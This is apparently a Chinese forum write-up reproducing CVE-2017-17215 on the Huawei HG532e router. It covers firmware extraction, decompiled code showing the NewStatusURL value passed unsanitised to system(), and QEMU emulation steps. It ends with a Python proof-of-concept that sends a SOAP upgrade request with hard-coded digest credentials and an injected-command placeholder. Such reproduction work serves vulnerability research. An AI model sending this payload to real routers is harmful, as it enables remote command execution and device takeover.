其他
HG532e漏洞复现(cve-2017-17215)
本文为看雪论坛优秀文章
看雪论坛作者ID:夏天呀
一
前言
一
漏洞详情
二
固件获取
三
提取固件
2、Ubuntu下使用binwalk,搜索安装完整版binwalk即可。
四
固件漏洞分析
int FUN_0040749c(int param_1)
{
int iVar1;
int local_418;
int local_414;
char acStack1040 [1028]
iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418);
if (((iVar1 == 0) && (local_418 != 0)) &&
(iVar1 = ATP_XML_GetChildNodeByName
(*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0))
{
if (local_414 != 0) {
snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
local_418,local_414);
system(acStack1040);
}
}
return iVar1;
}
五
环境搭建
打开浏览器输入IP进行测试。
使用FAT工具搭建环境当个列子吧。
最后还是使用的qemu搭建:
apt-get install libglib2.0 libglib2.0-dev autoconf automake libtool uml-utilities bridge-utils
https://people.debian.org/~aurel32/qemu/mips/
创建网桥,添加IP:
brctl addbr Virbr0
ifconfig Virbr0 192.168.147.100/24 up
创建tap接口,添加到Virbr0内:
tunctl -t tap0
ifconfig tap0 192.168.147.101/24 up
brctl addif Virbr0 tap0
在系统内再开启一个bedain系统:
qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
ifconfig eth0 192.168.147.102/24 up
scp -r squashfs-root root@192.168.147.102:/
虚拟机内挂载dev和proc:
mount -o bind /dev /squashfs-root/dev
mount -t proc /proc /squashfs-root/proc
ssh root@192.168.147.102
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
这时候ssh连接的终端已经不能使用了因为IP发生了变化,需要用刚开始qemu连接的终端更改一下路由器IP,方便测试:
ifconfig eth0 192.168.147.102/24 up
ifconfig br0 192.168.147.104/24 up
六
漏洞利用
poc:
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;执行的命令;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('目标路由器IP:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
七
小结
https://pan.baidu.com/s/1Vracsnlt5uNbdmfYK4dp8Q 密码:tvoh
https://pan.baidu.com/s/1-UQOBax1-t8EFVrzGvEhVQ 提取码:zshs
看雪ID:夏天呀
https://bbs.pediy.com/user-home-944590.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!